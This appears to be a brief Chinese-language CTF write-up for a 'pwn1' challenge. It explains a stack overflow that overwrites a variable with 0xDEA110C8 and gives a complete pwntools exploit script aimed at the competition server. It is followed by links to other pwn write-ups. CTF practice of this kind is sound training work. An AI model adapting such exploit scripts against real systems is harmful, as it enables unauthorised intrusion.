pwn1

作者: n0va | 来源:发表于2019-03-08 22:47 被阅读0次

安恒一月赛2019 PWN
pwn1
2019广东强网杯_wp
2019-11-22栈迁移摸鱼
TechWorld CTF 2019 线上赛 Pwn
xctf - (高手进阶区)pwn1
网鼎杯半决赛 pwn wp
360CTF 初赛Pwn题解
WriteUp: PWN1 厦门邀请赛
攻防世界 pwn1 wp （厦门邀请赛）

先checksec 一波：

image.png

IDA分析：

image.png

很明显的一处栈溢出，但是此处却不是控制程序流，只需要简单得覆盖v5的值为0xDEA110C8就行，具体看栈空间可以发现

image.png

exp:

from pwn import *
# p = process('./pwn1')
p = remote("pwn.tamuctf.com","4321")
p.recvuntil('name?\n')
p.sendline("Sir Lancelot of Camelot")
p.recvuntil('quest?\n')
p.sendline("To seek the Holy Grail.")
p.recvuntil('secret?\n')
payload = 'a'*0x2b + p32(0xDEA110C8)
p.sendline(payload)
p.interactive()

安恒一月赛2019 PWN
0x01 pwn1 0x02 pwn2
pwn1
先checksec 一波： IDA分析：很明显的一处栈溢出，但是此处却不是控制程序流，只需要简单得覆盖v5的值为...
2019广东强网杯_wp
Pwn pwn1 Run函数有个条件竞争，可以泄漏libc，后面libc换了2.27，所以条件竞争配合uaf写fd...
2019-11-22栈迁移摸鱼
叹气好累是nsctf2017 的pwn1只开了nx程序主逻辑：读入100输出100，但实际buf只有88，存...
TechWorld CTF 2019 线上赛 Pwn
Pwn1 主要问题出在update函数，可以看到存在两个漏洞索引值只检测了小于9，若输入负数造成数组越界可以修改...
xctf - (高手进阶区)pwn1
exp如下：
网鼎杯半决赛 pwn wp
pwn1防御机制：运行了下，发现是一个模拟聊天软件的程序，功能一共有 8个通过ida分析程序，程序一开时就分...
360CTF 初赛Pwn题解
emmm忘记题目名称了，一共两个题就以Pwn1、Pwn2来记录我觉得题目质量还是很好的，解题过程中学到了不少东西 ...
WriteUp: PWN1 厦门邀请赛
Write Up 0x00: 前言 0x01: 获取信息 0x02: 确定行为 0x03: 寻找漏洞 0x04: ...
攻防世界 pwn1 wp （厦门邀请赛）
0x01 checksec idaread处存在栈溢出 0x02 思路 1.利用print函数泄露canary2....